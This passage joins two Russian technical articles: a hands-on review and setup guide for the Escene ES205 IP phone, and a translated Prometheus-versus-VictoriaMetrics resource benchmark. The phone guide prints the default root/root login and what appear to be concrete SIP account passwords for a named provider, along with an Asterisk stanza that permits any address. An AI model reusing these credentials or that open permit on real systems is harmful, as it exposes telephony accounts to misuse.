впервые оказывается на столе, ощущается насколько он компактный. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/2e1/a28/4e6/2e1a284e66bf5be1385277c989deef50.jpg) **Экран телефона** Стоит отдельно отметить приятный экран с хорошим разрешением. Телефон имеет монохромный LCD экран без подсветки размером 128\*64, небольшой, но его размера достаточно, чтобы без труда читать информацию с экрана. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/7eb/cf6/124/7ebcf6124230809870eadae3edb1e0e7.jpg) Так выглядит экран телефона с зарегистрированной линией на русском языке. «Line1» и «Line 2» — произвольная метка, которая настраивается в меню «SIP Аккаунты» и называется «Метка».  ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/65f/c71/d1c/65fc71d1cc8902fefeabd46c78a3ec0c.jpg) **Ввод и набор номера.** При вводе номера цифры на экране крупные и отлично читаются. При вводе первых цифр номера телефон показывает наиболее похожие номера по набираемой маске. При наборе номера кнопка линии, через которую набран номер, загорается красным цветом. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/afb/f0c/749/afbf0c749ca69b415f22f7eeb784177a.jpg) **Входящий вызов.** Помимо звукового сигнала и индикации на экране, при входящем вызове мигает кнопка линии, на которую пришел вызов. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/26b/083/139/26b0831393e864de91e2a742533a237d.jpg) **Состояние разговора.** Во время разговора кнопка линии горит зеленым цветом. На экране есть таймер времени разговора. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/428/f38/842/428f38842f57c9135a28bef16c8d8ed6.jpg) **Журналы вызовов.** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/72a/06d/058/72a06d0580c163964ea397366f212d3a.jpg) Вид меню на экране телефона. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/98a/601/60f/98a60160f5730b5f8d15e69cddb5af19.jpg) Настройка телефона ------------------ Телефон может быть настроен или при помощи экранного меню, или с помощью web-интерфейса. В отличие от большинства телефонов других производителей, которые оставляют минимум настроек в меню телефона и большее их число только через web-интерфейс, разработчики Escene решили сделать доступными из меню телефона помимо стандартных настроек, еще и настройки, относящиеся к SIP аккаунтам. То есть телефон можно полностью настроить при помощи экранного меню. Такой шаг вполне оправдан, в некоторых случаях, настроить телефон можно быстрее. К тому же, иногда могут возникнуть проблемы с доступом к телефону через web-интерфейс или потребуется удаленно объяснить сотруднику как перенастроить его телефон. Неподготовленному человеку будет проще использовать меню телефона, нежели web-интерфейс.  **Первоначальная настройка с помощью кнопок телефона** Итак, мы включили телефон, подключили порт LAN к локальной сети, которая имеет доступ к IP АТС. Компьютер сотрудника через кабель подключили в порт PC. Теперь нам необходимо включить русский язык в меню. Нажмите программную кнопку «Menu», она находится слева под экраном, откроется меню. Для перемещения по меню используйте кнопки навигации «Вверх» или «Вниз», для выбора пункта меню нажмите соответствующую цифре кнопку на номеронабирателе телефона или программную кнопку (например, «Ввод»), для возврата в предыдущий пункт используйте кнопку «Назад». Далее, нажмите цифру 3, что соответствует выбору меню «System Settings», далее выберете «Phone Setting» (цифра 3), затем «Language»(цифра 1), пользуясь кнопками навигации «Вверх» или «Вниз» выберете «Russian» и нажмите «OK» Затем нажмите кнопку «C» до тех пор, пока не выйдите из меню. **Настройка сетевых параметров:** Нажмите «Меню», далее выберите меню «Настройки системы» (или нажмите цифру 3), цифра 2 — «Расширенные настройки», по умолчанию пароль пустой, просто нажмите «ОК». Если необходимо настроить VLAN (пункт меню 2 — «Сеть», 3 — VLAN) перейдите в соответствующее меню и настройте его ID и приоритет. Далее, выберите «Сеть», затем «LAN порт», по умолчанию, после загрузки телефона, включается DHCP клиент, который пытается получить IP адрес, поэтому в сети, где находится IP-телефон, должен быть DHCP сервер. Если все настройки выполнены правильно, то телефон получит IP адрес и будет готов к дальнейшей настройке.  Если необходимо использовать статический IP адрес, находясь в меню «LAN порт», выберите «Статический» и нажмите «OK». По умолчанию на телефоне настроен IP 192.168.0.149, для изменения настроек IP адреса, маски, шлюза и DNS пользуйтесь кнопками меню и навигационными клавишами, после сохранения настроек телефон перезагрузится. Обращаю внимание, что в данном меню «LAN порт» можно настроить порт для доступа к web-интерфейсу, по умолчанию он равен 80, а также порт для доступа на телефон по telnet.  Отдельного внимания заслуживает настройка PC порт (Меню –> Настройки –> Расширенные настройки –> Сеть –> PC порт). Здесь настраивается режим работы сети между портами PC и LAN. В режиме моста это двух-портовый коммутатор с поддержкой отдельного тегированного или не тегированного VLAN для порта LAN или PC. Если установить режим «Маршрутизатор», то порту PC назначается IP и маска, между LAN и PC включается адресная трансляция NAT, так же можно включить DHCP сервер. Таким образом, телефон становится еще и маршрутизатором с поддержкой NAT. Теперь необходимо проверить корректность настроек сети и посмотреть IP адрес, который был назначен по DHCP, для этого нажмите «Меню», нажмите цифру 1 — «Просмотр состояния», пользуясь кнопками навигации «Вверх» или «Вниз», найдите присвоенный телефону IP, в моем случае IP адрес, присвоенный по DHCP: 192.168.1.14 **Настройка дополнительных функций телефона** Все эти настройки выполняются в «Меню» –> «Функции» (цифра 2)  * «Автоматический ответ» позволяет настраивать автоматический ответ на вызов без поднятия трубки. * «DND» позволяет отклонять все вызовы в случае занятости абонента. * «Горячая линия» позволяет установить автоматический набор заданного номера немедленно или с установленным таймаутом. * «Переадресация вызовов» позволяет установить условную и безусловную переадресацию на указанные номера. * «Вызов на ожидании» позволяет включить или отключить возможность принимать второй вызов во время разговора. Поддержка дополнительных видов обслуживания (ДВО) и программируемые кнопки -------------------------------------------------------------------------- Телефон поддерживает две независимые учетные записи SIP, то есть регистрацию на двух разных IP АТС. При одновременной регистрации обоих линий, по умолчанию, будет использовать первая линия. Для переключения на вторую линию (она должна быть настроена) и возврата на первую используйте кнопки «Line 1» и «Line 2».  Обращаю внимание, что телефон поддерживает два одновременных вызова, поэтому для использования одновременной SIP регистрации на обеих линиях в настройках учетных записей SIP для каждой линии нужно выставить параметр «Количество линий, используемых аккаунтом» равным 1 (по умолчанию значение равно 2). То есть устройство поддерживает всего две линии, вы можете распределить их по своему усмотрению: или назначить обе линии первому SIP аккаунту, или распределить по одной линии на каждый SIP аккаунт и зарегистрировать оба одновременно.  Что касается ДВО — все они корректно работают: * Программная кнопка «КонФр» позволяет перевести вызов, перевод вызова реализован при помощи контактной информации в сообщении SIP 302 Moved Temporarily. Это сообщение на сегодняшний день поддерживают практически все IP АТС, представленные на рынке. * Программная кнопка «Перевод» — перевод вызова с консультацией и вслепую, так же использует SIP 302 Moved Temporarily. * Программная кнопка «Удерж» (так же Pickup) позволяет или поставить вызов на удержание во время разговора или перехватить вызов. По умолчанию при нажатии на эту кнопку срабатывает стандартная комбинация 123, её можно переназначить через web-интерфейс в меню «Расширенные настройки» -> «Настройки телефона» -> «Основные» -> «Звонки», параметр «Код перехвата вызова». * Кнопка «Redial» позволяет повторить набор последнего номера. * Кнопка «Громкая связь» позволяет включить или выключить громкую связь, ответить на вызов с включением громкой связи или завершить вызов, если разговор состоялся через громкую связь. * Кнопка «Mute» — позволяет отключить микрофон во время разговора. На экране телефона появится индикация. **Для доступа к журналам вызовов:**  * Способ 1: нажмите кнопку «Журнл». Журнал вызовов содержит записи о последних исходящих, входящих и пропущенных вызовах. * Способ 2: нажмите кнопку «Меню», затем цифру 5 (соответствует пункту меню «Журнал вызовов»). * Способ 3: нажатие навигационной кнопки «Вверх» — откроет все вызовы, «Вниз» — посмотреть пропущенные вызовы, кнопка «Redial» — посмотреть совершенные вызовы. Веб-интерфейс телефона ---------------------- Для доступа к web-интерфейсу с компьютера, имеющего доступ к сети где находится телефон, в адресную строку web-браузера введите IP адрес телефона, в моем случае это 192.168.1.36. Логин и пароль по умолчанию: *root / root* ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/c22/b5a/4f0/c22b5a4f071b2a2b5ecf435daea89a10.jpg) Мы попадаем в главное меню web-конфигуратора телефона. Для удобства настройки сразу же выберем русский язык в нижнем левом меню. Меню делится на несколько групп:  * Сетевые настройки (интерфейсы, VLAN, VPN и др.). * Настройки VoIP (записей SIP и дополнительных функций для сигнализации и медиа трафика). * Настройки дополнительных функций телефона (настройки телефонной книги, программируемых кнопок, плана набора, звука и др.). * Сервисные настройки (журналирование, сброс и перезагрузка, управление конфигурацией и обновление ПО и др.) ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/1a9/19b/bf0/1a919bbf04f29df46abe7b6e31d64ed1.jpg) *Выбор русского языка и вид меню.* **Состояние телефона**. Для него есть отдельное одноимённое меню: ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/2bd/d7a/c36/2bdd7ac362ae8c4ab11b234437f0cb12.jpg) Меню относится к сервисным настройкам, позволяет получить подробную информацию о состоянии настроек и статистике работы телефона, такие как время в работе, состояние и исправность сетевого подключения, статус регистрации SIP-линий, версия прошивки и другие. Сетевые настройки ----------------- **Меню «Сеть» –> «LAN порт»:** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/425/f5f/bd8/425f5fbd8c4a74306f877897bb8e4e00.jpg) *Вкладка «Основные настройки»* Можно задать один из трёх способов подключения: по DHCP, статическим IP или PPPoE. *Вкладка «Расширенные настройки»* Также Важная настройка — HTTP и Telnet порты. Их следует сделать нестандартными, если телефон находится в недоверенной сети (например, с внешним IP адресом в Интернет). Также здесь можно настроить Paging – групповое оповещение. **Меню «Сеть» –> «PC порт»** Между портами LAN и PC телефона по умолчанию включена коммутация L2 — режим «Мост». Телефон может переключить в режим маршрутизации L3 — на LAN порте включится адресная трансляция NAT, на PC порте необходимо будет настроить IP адрес, и если необходимо, включить DHCP сервер, в котором прописать пул IP адресов для клиентов. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/38d/2c5/839/38d2c58390c64b8bf8d5a5aae02524d2.jpg) *Настройка PC-порта.* ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/ec0/2ae/55b/ec02ae55b315631df3a9e32ebdb08819.jpg) *PC-порт в режиме маршрутизации.* **Меню «Сеть» –> «Расширенные настройки»** *Вкладка «Настройки VPN»* ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/766/06c/10f/76606c10fdb2fc0b2baa646e870672ec.jpg) *Настройка VPN* Если необходимо подключить телефон через защищенный VPN канал, то это можно сделать прямо с телефона, без покупки дополнительного оборудования (например, VPN маршрутизатора), телефон поддерживает L2TP и OpenVPN(SSL VPN). Это очень полезная функция сразу по нескольким причинам.  Во-первых, если у вас есть несколько телефонов, которые нужно поставить в удаленный офис, отпадает необходимость покупать VPN концентратор в каждую удаленную точку, достаточно настроить встроенный в телефон VPN клиент. Далее, через туннель зарегистрировать его телефон на IP АТС в центральном офисе.  Во-вторых, VPN повышает безопасность, все чаще администраторы задумываются, как защитить терминалы, которые находятся в интернете, все острее становятся две проблемы: опасность взлома терминала и сложность получения доступа инженерам оператора связи для его конфигурирования, ведь часто терминал находится за NAT. Использование VPN клиента решает обе эти проблемы, поэтому такая полезная функция будет становиться все более востребованной. В примере, используя тип VPN L2TP, создано подключение к серверу vpn.ucexpert.ru. *Вкладка «Настройки VLAN»* ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/0a1/c2a/b51/0a1c2ab51afe18f7512c0b97e396a20e.jpg) *Настройка VLAN* В корпоративной сети рекомендуется изолировать трафик компьютерной сети от трафика голосовой сети, это чаще всего реализуется при помощи двух VLAN. Телефон поддерживает VLAN на обоих портах.  **Настройки VoIP** Телефон позволяет управлять большим числом настроек сигнализации SIP и настроек для медиа трафика RTP. **Меню «SIP аккаунты» –> «Аккаунт 1»** *Вкладка «Основные»* Кроме стандартных настроек учетной записи SIP — Имя пользователя (UserID), Имя (AuthID) и пароля, есть поле «Метка», она позволяет вставить произвольное описание линии, которое будет отображаться на экране телефона. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/760/02b/f63/76002bf636405fb830812ce3b239204f.jpg) *Настройка SIP-аккаунта* Помимо основного IP адреса SIP сервера, можно добавить дополнительный IP SIP сервер. В случае неудачной регистрации в течение таймаута, который по умолчанию равен 32 секундам, для регистрации будет использован адрес дополнительного SIP сервера. Настройка «Количество линий, используемых аккаунтом» должна быть равна 1, если необходимо использовать обе линии, потому что вторую линию необходимо назначить на второй аккаунт. Если оставить значение равное 2, то при применении настроек второй линии телефон появится сообщение что недостаточно линий.  *Вкладка «Звонки»* ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/e21/eac/017/e21eac017f9c99b45474c3ba1ca618d4.jpg) *Дополнительные настройки SIP-аккаунта* Здесь можно задать дополнительные настройки для преодоления NAT, включить DNS SRV. *Вкладка «Безопасность»* ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/894/47f/0b2/89447f0b214697729b460dc52246c690.jpg) *Настройка шифрования* Телефон поддерживает шифрование RTP и сигнального трафика SIP по протоколу TLS. **Меню «Настройки телефона» –> «Основные»** *Вкладка «Основные»* Здесь настраиваются различные функции телефона, такие как «Горячая линия» – при снятии трубки автоматически набирается заданный номер, можно включить автопоиск по адресной книге во время набора и автоответ на вызов. Важная настройка типа DTMF – по умолчанию она установлена в RFC2833. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/169/920/68d/16992068df5aca1caa28d1bf60fc3244.jpg) *Основные настройки телефона* *Вкладка «Звонки»* ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/061/5a3/a01/0615a3a0106a2cec88ab70d1c2b32409.jpg) *Основные настройки телефона — Звонки* В этом меню настраиваются глобальные для телефона функции. Если прописать настройки SIP здесь, то они будут применяться для обеих линий автоматически, за исключением настройки «Локальный SIP порт» и «Диапазон портов RTP», которые могут быть полезны для правильной настройки сетевого экрана. В случае, если перевод вызова требуется выполнять специальной комбинацией кнопок (стар кодом), вместо стандартного SIP сообщения 302, это можно указать в настройке «Специальный код для перевода вызова». Полезная настройка, которая позволяет не разрывать соединение в конференции, если её покинул инициатор. Установить переадресацию вызовов можно по условию (занятость и «нет ответа») и безусловную.  Здесь же настраиваются коды, которые будут передаваться при нажатии кнопок «Pickup» (значение в поле «Код перехвата вызова») и «Голосовая почта» (значение в поле «Номер голосовой почты»).  Перехватить вызов можно тремя способами: * Назначением функции на одну из кнопок телефона. * При помощи явного набора комбинации на клавиатуре телефона. Важной настройкой является «Код возврата при отказе» и «Код возврата при DND», по умолчанию IP АТС возвращается SIP-сообщение 603 Decline, эти сообщения можно изменить на другие, если это необходимо для правильной интерпретации причины отбоя. *Вкладка «Переадресация VOIP звонков»* ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/f8b/892/3a3/f8b8923a30ec5336f9cd777c0afbfed0.jpg) *Переадресация вызовов* На вкладке устанавливается переадресация: безусловная, если абонент не ответил или линия занята. **Меню «Настройки телефона» –> «Расширенные настройки»** *Вкладки «Звук – Основные» и «Звук – Расширенные»* Здесь устанавливается громкость телефона, спикера и вызывного сигнала. Так же настройки громкости микрофона трубки и спикерфона. По умолчанию, при вызове, телефон заявляет все возможные кодеки. Если необходимо, то неиспользуемые кодеки можно отключить. Здесь можно включить эхо-компенсацию и VAD. Более того, можно загрузить свою мелодию звонка. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/742/9cf/381/7429cf38148f3a3da7b01a5ad1c6329f.jpg) *Настройка медиа* *Вкладка «Линия»* ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/427/106/5d1/4271065d163c294af3ea9c5b611ffbc6.jpg) *Настройка функций кнопок линий* Меню выбора «Аккаунт» может принимать значения Аккаунт1/Аккаунт2/Any и становится активным если для кнопки назначается режим связанной с набором номера, например, быстрый набор, DTMF или префикс быстрого набора. *Вкладка «Функциональные клавиши»* В данном меню можно назначить действие для функциональных кнопок телефона если действия которые они выполняют по умолчанию по каким-то причинам должны быть другими. Для этого, в раскрывающемся меню выбора, укажите действие которое будет выполняться при нажатии на кнопку.  ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/2e4/556/100/2e45561006f1e50dd890eeffbf886777.jpg) *Настройка функциональных кнопок* **Программируемые клавиши** Позволяет управлять наборами программных кнопок, появляющихся на экране телефона в зависимости от состояния телефона (трубка положена, трубка снята, соединение, разговор и т.д.) Это очень полезная функция которая позволяет контролировать функции доступные пользователю. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/2a6/1fd/d88/2a61fdd8848156472cdb72f38cc99980.jpg) *Настройка программных кнопок* **Меню «Телефонная книга»** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/749/5d9/4be/7495d94be628fd22217ade26891891bd.jpg) *Внутренняя телефонная книга* В аппарате есть встроенная телефонная книга, причем достаточно продвинутая. Она позволяет хранить до 300 записей о контактах, в каждый из которых можно сохранять до 3х телефонных номеров. Записи можно вносить через экранное меню телефона, при помощи web-интерфейса. Для загрузки или сохранения уже готовой телефонной книги в формате XML используйте меню «Обслуживание телефона» –> «Обновление по HTTP» –> «XML Телефонная книга», здесь можно сохранить или загрузить телефонную книгу в формате XML. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/3ba/123/e09/3ba123e0961de07d41a1dcf5e05f1134.jpg) *Настройка корпоративной книги LDAP* Если в компании используется сервер LDAP, то можно подключить к нему телефон и синхронизировать корпоративные контакты. Поддерживается 2 и 3 версии протокола, так же при помощи настроек «LDAP Lookup For Incoming Call» и «LDAP Lookup For PreDial/Dial» можно обращаться за поиском имени контакта для входящего и исходящего вызова. Если контакт есть в каталоге LDAP, то к номеру будет автоматически добавлено его имя. Телефон также поддерживает черные списки или бан-листы: нежелательный номер телефона добавляется в такой список и больше не сможет дозвониться. Сервисные настройки ------------------- **Меню «Настройки телефона» –> «Основные»** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/6ed/5b9/433/6ed5b94337c4b247b4864d8dc41da87d.jpg) *Обновление и резервное копирование телефона* Копировать файлы конфигурации можно с помощью трех различных протоколов. FTP, TFTP и HTTP — выбор того или иного протокола дело вкуса и удобства. Обновление программного обеспечения выполняется крайне просто, нужно выбрать файл прошивки, затем нажать обновить. Если версия загружаемой прошивки телефона будет ниже, чем установленная, появится окно с надписью «Filename is illegal». В меню так же можно перезагрузить телефон или сбросить его на заводские настройки. **Меню «Настройки телефона» –> «Расширенные настройки»** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/248/4de/045/2484de0453de2dfc43682462318152fd.jpg) *Отладка* Для отладки телефона можно включить логирование, указав нужные журналы. Посмотреть их можно двумя способами: * В том же меню включить отправку журналов на syslog сервер. * Скачать файл c журналам. Также в телефоне есть возможность собирать сетевой дамп пакетов в pcap-файлы, которые затем можно анализировать при помощи сниффера, например, Wireshark, это крайне эффективный инструмент отладки. Для начала захвата пакетов нажмите кнопку «Начать», после окончания, нажмите кнопку «Завершить». Что бы скачать полученный дамп, нажмите кнопку «Создать резервную копию». Также на вкладке «Автоматическое обновление» можно настроить обновление прошивки телефона по расписанию по протоколам TFTP/FTP/ HTTP/HTTPS. **Меню «Security»** Здесь можно задать логин и пароль для администратора и пользователя телефона, так же загрузить сертификат SSL. **Настройка подключения к IP АТС Asterisk при помощи web-интерфейса** Предположим, что нам необходимо настроить два внутренних номера (две учетные записи SIP). Например, первая запись на IP АТС Asterisk, вторая на виртуальной IP АТС: ``` IP адрес сервера с Asterisk= 10.10.10.1 UserID=10 password= QOXZuTcZ38qlBsr SIP сервер(Asterisk)= 10.10.10.1 ``` В конфигурации sip.conf Asterisk это будет эквивалентно: ``` [10] deny=0.0.0.0/0.0.0.0 secret= QOXZuTcZ38qlBsr dtmfmode=rfc2833 canreinvite=no context=from-internal host=dynamic type=friend nat=yes port=5060 qualify=yes callgroup=01 pickupgroup=01 allow=g722 dial=SIP/10 mailbox=10@device permit=0.0.0.0/0.0.0.0 callerid=device <10> callcounter=yes faxdetect=no ``` Эквивалентно, при настройке в веб интерфейсе Free-PBX, на примере первой линии: ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/aea/0a4/e7d/aea0a4e7dd0713dd31bc8c90748c19ed.jpg) *Настройка FreePBX* ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/ce3/152/930/ce31529307c81e148049398d2190bb4a.png) *Настройка SIP-аккаунта для FreePBX* Для работы с Asterisk достаточно настроить Имя пользователя (Username) =10, пароль (Password) = QOXZuTcZ38qlBsr и SIP сервер (SIP Server) =10.10.10.1. Можно добавить метку (Label) которая будет отображаться на экране телефона, в данном случае «L1#10». Можно уменьшить время повторной регистрации со стандартных 3600 секунд до 600 секунд, это особенно актуально, если IP АТС находится за пределами офиса, например Виртуальная АТС. Если телефон находится в локальной сети, а IP АТС в интернете, никаких специальных настроек для преодоления NAT обычно не требуется. Далее, нажать кнопку *«Применить»*. Ровно то же самое необходимо проделать со второй линией, например городской номер 78126470011 на SIP сервере Вест Колл. Зарегистрируем её на виртуальной АТС с нестандартным SIP портом 9966: ``` userid=78126470011 authid=6470011 password= eIoMzKsf sip прокси=uc.westcall.net port=9966 ``` ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/8f4/4aa/9c4/8f44aa9c46210507dc7c077b0c8afa1f.png) *Настройка SIP-аккаунта для виртуальной PBX* Чтобы указать нестандартный порт SIP (отличный от 5060), нужно в строке SIP сервер явно указать его: uc.westcall.net:9966. Далее нажать кнопку *«Применить»*. В случае успешной регистрации, на экране телефона появится соответствующая индикация, так информация о статусе регистрации линии доступна на странице Меню *«Статус»*: Аккаунт 1: Зарегистрирован  Аккаунт 2: Зарегистрирован Для того, чтобы пользоваться кнопками ДВО (перевод, удержание, конференция) дополнительной настройки не требуется. Выводы ------ IP-телефон Escene ES205 является достойным представителем линейки телефонов Escene. Это один из самых компактных настольных телефонов, представленных сейчас на рынке. Несмотря на габариты всего 21,3x15,7x3,9 сантиметра, устройство имеет большое количество преимуществ, таких как приятный внешний вид, достойное качество исполнения и удобство использования. Легкость настройки, стабильность работы и высокое качество звука делает данную модель достойной внимания. **К ключевым особенностям телефона можно отнести:** * Компактные размеры аппарата при высокой эргономичности. * Поддержка двух независимых SIP аккаунтов на телефон. * Наличие дополнительного порта Ethernet для подключения к компьютеру и возможность работать в режиме IP-маршрутизации. * 5 программируемых кнопок. * Возможность перенастройки функций программных и аппаратных кнопок телефона. * Поддержка PoE(модель **ES205-PN**). * Большой и контрастный ЖК-экран что особенно привлекательно для телефона с такими габаритами. * Возможность настроить помимо сетевых параметров, SIP аккаунты, кнопки быстрого набора и переадресацию прямо с экрана телефона. * Простота настоек и интуитивно понятный русифицированный веб-интерфейс. * Телефон можно настроить пользуясь только экранным меню. * Расширенные возможности отладки
https://habr.com/ru/post/266951/
null
ru
null
# Бенчмарк Prometheus vs VictoriaMetrics на метриках node_exporter > *Для будущих студентов* [*курса «DevOps практики и инструменты»*](https://otus.pw/pySW/) *подготовили перевод интересного материала. > > Также приглашаем всех желающих поучаствовать в* [*открытом вебинаре на тему «Prometheus: быстрый старт».*](https://otus.pw/Uv9i/) *На занятии участники рассмотрят архитектуру Prometheus и то, как она работает с метриками, а также разберут, как формировать алерты и события в системе.* > > ![](https://habrastorage.org/getpro/habr/upload_files/2db/27a/848/2db27a848864db54e7ea979d363cbbbc) --- Недавно в VictoriaMetrics появилась [возможность скрейпинга целевых объектов Prometheus](https://victoriametrics.github.io/#how-to-scrape-prometheus-exporters-such-as-node-exporter). И теперь мы можем сравнивать яблоки с яблоками: сколько ресурсов используют Prometheus и VictoriaMetrics при скрейпинге большого количества `node_exporter`*.* ### Настройка бенчмарка Тестирование проводилось в [Google Compute Engine](https://cloud.google.com/compute) на четырех машинах (инстансах): * **Инстанс с** [node exporter v1.0.1](https://github.com/prometheus/node_exporter) **для скрейпинга**. Машина [e2-standard-4](https://cloud.google.com/compute/docs/machine-types#e2_standard_machine_types) со следующей конфигурацией: 4 vCPU, 16 ГБ RAM, 1 ТБ HDD. Первоначальные тесты показали, что `node_exporter` не может обрабатывать больше нескольких сотен запросов в секунду. Prometheus и VictoriaMetrics во время тестов создавали слишком большую нагрузку на `node_exporter`. Поэтому было решено перед `node_exporter` разместить nginx с односекундным кешированием ответов. Это позволило снизить нагрузку на `node_exporter` до разумных значений, чтобы он смог обрабатывать все поступающие запросы без ошибок скрейпинга. * **Два отдельных инстанса** [e2-highmem-4](https://cloud.google.com/compute/docs/machine-types#e2_high-memory_machine_types) **для Prometheus v2.22.2 и VictoriaMetrics v1.47.0** со следующей конфигурацией: 4 vCPU, 32 ГБ RAM, 1 ТБ. Как VictoriaMetrics, так и Prometheus запускались с настройками по умолчанию, за исключением пути к файлу с конфигурациями скрейпинга (`-promscrape.config = prometheus.yml` для VictoriaMetrics и `-config.file = prometheus.yml` для Prometheus). Файл `prometheus.yml` был сгенерирован по следующему шаблону [Jinja2](https://jinja.palletsprojects.com/en/2.11.x/): ``` global: scrape_interval: 10s scrape_configs: - job_name: node_exporter static_configs: {% for n in range(3400) %} - targets: ['host-node-{{n}}:9100'] labels: host_number: cfg_{{n}} role: node-exporter env: prod {% endfor %} ``` Все `host-node-{{n}}` указывали на машину с `node_exporter`. Это было сделано через `/etc/hosts`. Таким образом мы эмулировали скрейпинг 3400 `node_exporter`. * **Машина e2-standard-2 для мониторинга VictoriaMetrics и Prometheus**. Инстанс VictoriaMetrics на этой машине был сконфигурирован для получения специфичных метрик приложения, а также метрик `node_exporter` от машин с VictoriaMetrics и Prometheus. На основе этих метрик были построены приведенные ниже графики. Мы выбрали `node_exporter` по следующим причинам: * `node_exporter` — самый распространенный экспортер, который используется большинством инсталляций Prometheus. * `node_exporter` экспортирует реальные метрики под нагрузкой (использование процессора, памяти, дискового ввода-вывода, сети и т. д.), поэтому результаты тестов могут быть экстраполированы на инсталляции Prometheus в продакшн. И VictoriaMetrics, и Prometheus скрайпили один и тот nodeexporter и были запущены одновременно. Бенчмарк длился 24 часа.  Статистика хранилища -------------------- Для VictoriaMetrics и Prometheus статистика одинаковая: * Скорость приема (ingestion rate): 280 тыс. измерений / сек. * Количество активных временных рядов (active time series): 2,8 миллиона * Количество сохраненных измерений (samples scraped and stored): 24,5 миллиарда Результаты тестов ----------------- **Использование дискового пространства:** ![Использование дискового пространства.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4be/57f/941/4be57f9417ef740e2ce8ba328e67f2e6.png "Использование дискового пространства.")Использование дискового пространства.Prometheus с регулярными интервалами генерирует пики использования дискового пространства в 15 ГБ, а VictoriaMetrics — редкие и гораздо меньшие всплески. Максимальный всплеск для VictoriaMetrics составляет 4 ГБ. Давайте посмотрим на итоговую статистику использования дискового пространства: * VictoriaMetrics: 7,2 ГБ. Это соответствует 0,3 байтам на одно измерение (7,2 ГБ / 24,5 миллиарда измерений). * Prometheus: 52,3 ГБ (32,3 ГБ данных + 18 ГБ WAL). Это соответствует 52,3 ГБ / 24,5 миллиарда измерений = 2,1 байта на измерение. **Получается, что Prometheus требует в 7 раз (2,1 / 0,3) больше места для хранения тех же объемов данных.** Использование дискового ввода-вывода: ![Дисковый ввод-вывод: байт, записанных в секунду.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/ef3/036/3b9/ef30363b92ea799a37a84b847a1cac56.png "Дисковый ввод-вывод: байт, записанных в секунду.")Дисковый ввод-вывод: байт, записанных в секунду.![Дисковый ввод-вывод: байт, прочитанных в секунду.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/325/a4a/cd5/325a4acd5680a2d5989e67cabdd9911d.png "Дисковый ввод-вывод: байт, прочитанных в секунду.")Дисковый ввод-вывод: байт, прочитанных в секунду.Что касается чтения с диска, то Prometheus генерирует всплески до 95 МБ/с через равные интервалы времени, в то время как максимальный всплеск для VictoriaMetrics составляет 15 МБ/с. **Использование процессора:** ![Использование CPU, ядер vCPU.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/ee9/aa9/273/ee9aa927370b5a921d76720974b3f2da.png "Использование CPU, ядер vCPU.")Использование CPU, ядер vCPU.* Для скрайпинга 3400 `node_exporter` используется 1,5–1,75 ядер vCPU. Это означает, что мощности системы с четырьмя vCPU достаточно для скрайпинга  дополнительных 4000 `node_exporter`. * Пиковые нагрузки на процессор в обоих случаях связаны с фоновым сжатием данных. Эти всплески для VictoriaMetrics в целом безвредны, но то же время могут привести к OOM (`out of memory`) для Prometheus. Подробнее о фоновом сжатии (также называемом слиянием) в VictoriaMetrics смотрите в [этой статье](https://valyala.medium.com/how-victoriametrics-makes-instant-snapshots-for-multi-terabyte-time-series-data-e1f3fb0e0282). **Использование памяти:** ![Использование RSS-памяти.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/5a8/81d/29b/5a881d29bfedd376bc1a33678f228e36.png "Использование RSS-памяти.")Использование RSS-памяти.VictoriaMetrics постоянно использует 4,3 ГБ [RSS-памяти](https://en.wikipedia.org/wiki/Working_set_size), в то время как у Prometheus память начинается с 6,5 ГБ и стабилизируется на уровне 14 ГБ со всплесками до 23 ГБ. Эти всплески использования памяти часто приводят к падению с OOM и потере данных, если на машине нет достаточного количества памяти или есть ограничения по памяти для подов Kubernetes с Prometheus. К счастью, на тестовой машине было 32 ГБ ОЗУ, поэтому сбоев не наблюдалось. Если вы хотите узнать подробнее о том, почему Prometheus может потерять данные после некорректного завершения работы, например, из-за OOM, то прочтите [эту статью](https://valyala.medium.com/wal-usage-looks-broken-in-modern-time-series-databases-b62a627ab704). Согласно приведенному выше графику, **Prometheus требует в 5,3 раза (23 ГБ / 4,3 ГБ) больше оперативной памяти, чем VictoriaMetrics**. Выводы ------ И Prometheus, и VictoriaMetrics могут собирать миллионы метрик с тысяч целевых объектов на машине с парой ядер vCPU. В соответствии с [этими бенчмарками](https://valyala.medium.com/measuring-vertical-scalability-for-time-series-databases-in-google-cloud-92550d78d8ae) это гораздо лучший результат, чем InfluxDB и TimescaleDB. VictoriaMetrics требует до 5 раз меньше оперативной памяти и до 7 раз меньше дискового пространства по сравнению с Prometheus 